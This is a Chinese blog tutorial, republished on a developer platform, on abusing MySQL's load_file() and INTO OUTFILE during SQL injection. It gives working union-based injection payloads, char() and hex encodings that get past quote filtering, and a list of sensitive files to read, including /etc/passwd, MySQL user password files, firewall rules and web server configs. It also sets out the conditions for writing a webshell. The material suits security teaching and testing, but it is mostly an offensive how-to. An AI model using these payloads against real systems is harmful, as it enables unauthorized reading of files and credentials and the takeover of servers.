前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Mysql注入中load_file()函数的使用

Mysql注入中load_file()函数的使用

作者头像
Xcnte
发布于 2021-12-14 02:23:28
发布于 2021-12-14 02:23:28
12.3K11
代码可运行
举报
文章被收录于专栏:Blog记录Blog记录
运行总次数:1
代码可运行

前言

在Msql注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件

而load_file函数只有在满足两个条件的情况下才可以使用:

1、文件权限:chmod a+x pathtofile

2、文件大小:必须小于max_allowed_packet

举例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt')
select load_file('/etc/hosts')

例如上面的例子是有条件限制的:

1、必须有权限读取并且文件必须完全可读。

and (select count(*) from mysql.user)>0 如果结果返回正常,说明具有读写权限

and (select count(*) from mysql.user)>0 返回错误,应该是管理员对数据库账户降权了

2、欲读取文件必须在服务器

3、必须指定文件完整的路径

4、欲读取文件必须小于max_allowed_packet

如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空,比较难满足的就是权限了。

在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrator才能访问的文件,

users就不能实现用load_file读取文件了。

在实际的注入中,我们有两个难点需要解决:

1、绝对物理路径。

2、构造有效的畸形语句。

在很多PHP程序中,当提交一个错误的查询时,如果display_errors=on,程序就会暴露web目录的绝对路径,只有知道

路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁

利用

我们假设一个程序的SQL语句如下:

select * from article where articleid=$id (当前条件:magic_quotes_gpc = off, c:/boot.ini可读)

此时,我们构造$id为:

-1 union select 1,1,1,1,load_file('c:/boot.ini')

我们的查询语句就变成:

select * from article where articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

程序就会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc=off的主机少之又少,怎么才能构造处没有

引号的语句呢?

看过《SQL Injection with MySQL的朋友肯定知道用char()函数或者把字符转换成16进制。

注:当前条件为magic_quotes_gpc=on, c:/boot.ini可读。

我们构造$id为:

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

"char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"的ASCII代码。

我们的查询语句就变成:

select * from article where articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

这样我们也可以成功读取boot.ini文件,还有把字符转换为16进制的:

"c:/boot.ini"的十六进制是"0x633a2f626f6f742e696e69",16进制前需要加0x

所以上面的语句就变成:

select * from article where articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们可以用into outfile把文件导出

关于mysql into outfile注射,要使用into outfile把代码写到web目录取得webshell首先需要3大先天条件:

1、知道物理路径(into outfule '物理路径'), 这样才能写对目录。

2、能够使用union (需要mysql 3以上的版本)

3、对方没有对(')进行过滤(因为outfile后面的('')不可以用其他函数代替转换)

后天条件需要二个:

1、就是mysql用户拥有file_priv权限(不然就不能写文件或读文件)

2、对web目录有写权限MS的系统就不说了,一般都会有权限的,但是*nix的系统,通常都是rwxr-xr-x

也就是说组跟其他用户都没有权限写操作,所以,要满足这5大条件还是蛮高难度的

常见用法

mysqlload_file()常见的用法:

1、replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一些php文件里完全显示代码。有些时候不替换一些字符,如"<"替换成"空格",返回的是网页。

而无法查看到代码。

3、load_file(char(47))可以列出FreeBSD, Sunos系统根目录。

4、/etc/httpd/conf/httpd.conf或者/usr/local/apache/conf/httpd.conf查看linux apache虚拟主机配置文件。

5、c:/Program Files/Apache Group/Apache/conf/httpd.confc:/apache/conf/httpd.conf 查看windows系统

  apache文件。

6、c:/Resin-3.0.14/conf/resin.confc:/Resin/conf/resin.conf 查看jsp开发网站的resin文件配置信息。

7、/usr/local/resin/conf/resin.cof 查看linux系统配置的JSP虚拟主机

8、../themes/darkblue_orange/layout.inc.php phpmyadmin爆路径

9、c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件

10、/usr/local/resin-3.0.22/conf/resin.conf/usr/local/resin-pro-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

11、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf Apache虚拟主机查看

12、/etc/sysconfig/iptables 查看防火墙策略

13、usr/local/app/php5/lib/php.ini PHP的设置

14、/etc/my.cnf Mysql的配置文件

15、c:/mysql/data/mysql/user.MYD 存在MYSQL系统中的用户密码

16、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP

17、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置

版权属于:Xcnte' s Blog(除特别注明外)

本文链接:https://cloud.tencent.com/developer/article/1918345

本站文章采用 知识共享署名4.0 国际许可协议 进行许可,请在转载时注明出处及本声明!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
load_file()为什么要a+x权限,它是读文件和执行有什么关系
load_file()为什么要a+x权限,它是读文件和执行有什么关系
回复回复1举报
推荐阅读
编辑精选文章
换一批
米斯特白帽培训讲义 漏洞篇 SQL 注入
SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户的输入而对输入的字符串没进行任何的过滤处理,那么这些注入进去的 SQL 语句就会被数据库误认为是正常的 SQL 语句而被执行。
ApacheCN_飞龙
2019/02/15
1.1K0
米斯特白帽培训讲义 漏洞篇 SQL 注入
sql注入笔记
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%
tea9
2023/03/08
4810
应急响应篇——中间件日志分析
经过前几篇的铺垫,进入中间件日志排查篇。由于各种各样的原因安全人员获取到的告警信息很可能是零零碎碎的,且高级黑客的整个入侵过程很可能十分完整,包含了清除痕迹等,这就导致了几种情况可能会发生:可疑威胁文件已被删除,无法定位;远程命令执行痕迹已被清除,无法还原攻击者入侵路径。
用户11055813
2024/06/27
6380
应急响应篇——中间件日志分析
利用SQL注入漏洞实现MySQL数据库读写文件
例如:我写入一菜刀一句话小马 文件 到 C:\phpStudy\WWW\123.php 目录下
用户9006224
2022/12/21
1.4K0
利用SQL注入漏洞实现MySQL数据库读写文件
DC-5
成功读取出来。从nmap中我们知道这是apache的,我们看看读日志文件。/var/log/nginx/access.log
黑白天安全
2020/05/14
6030
mysql注入-一般方法篇
Extractvalue:对xml文档进行查询 语法:extractvalue(文档类型,xpath路径)
h0cksr
2023/05/16
7880
【文件包含】文件包含漏洞知识总结v1.0
和SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。
一名白帽的成长史
2019/10/08
2K0
【文件包含】文件包含漏洞知识总结v1.0
SQL注入详谈
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
行云博客
2022/05/11
6530
渗透测试文件包含漏洞原理与验证(2)——文件包含漏洞利用
文件包含漏洞可以分为LFl(Local File Inclusion,本地文件包含)和RFI(Remote File lnclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
zhouzhou的奇妙编程
2024/11/12
3570
文件包含漏洞利用技术总结
开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
黑战士
2024/04/15
1930
分析安装包LNMP中的apache.sh脚本
分析shell脚本,学习方法,这个其实是在lnmp环境下再安装apache,实现lnmpa环境。
星哥玩云
2022/06/29
6840
MySQL注入load_file常用路径
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
YanXia
2023/04/07
1.8K0
一文了解文件包含漏洞
例子_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数攻击者可以修改_GET['filename']的值,执行非预期的操作
红客突击队
2022/09/29
1.6K0
一文了解文件包含漏洞
MySQL注入--Payload
floor和group by配合使用group by的key唯一性和编码顺序导致二次执行产生不同大的key
Mirror王宇阳
2020/11/12
2.5K0
MySQL注入--Payload
注入常用SQL语句整理
很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句.
XRSec
2022/02/13
2.4K0
记一次渗透日本某大学实战案例
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。所有话题标签:#Web安全 #漏洞复现 #工具使用 #权限提升#权限维持 #防护绕过 #内网安全 #实战案例#其他笔记 #资源分享 #MSF 目标站点:http://icfcs.******-u.ac.jp 服务器IP:210.***.***.76(
潇湘信安
2021/01/12
1.4K0
数据库的一些注入技巧-mysql
SELECT 1 FROM dualWHERE 1 = '1'''''''''''''UNION SELECT '2';
Jumbo
2019/11/05
9100
MySQL注入与防御
  在一个应用中,数据的安全无疑是最重要的。数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题!
那一叶随风
2018/08/22
1.8K0
MySQL注入与防御
超全sql注入实用语句_sql注入语句实例大全
目录 判断是否存在注入 判断列数 Union联合注入 爆数据库 爆表 爆字段 爆数据 sql盲注 导入导出文件 Post注入 修改useragent: 修改referer: 修改cookie gr
全栈程序员站长
2022/11/16
2.7K0
phpMydmin的GetShell思路
phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库 。
FB客服
2020/02/20
7080
phpMydmin的GetShell思路
相关推荐
米斯特白帽培训讲义 漏洞篇 SQL 注入
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文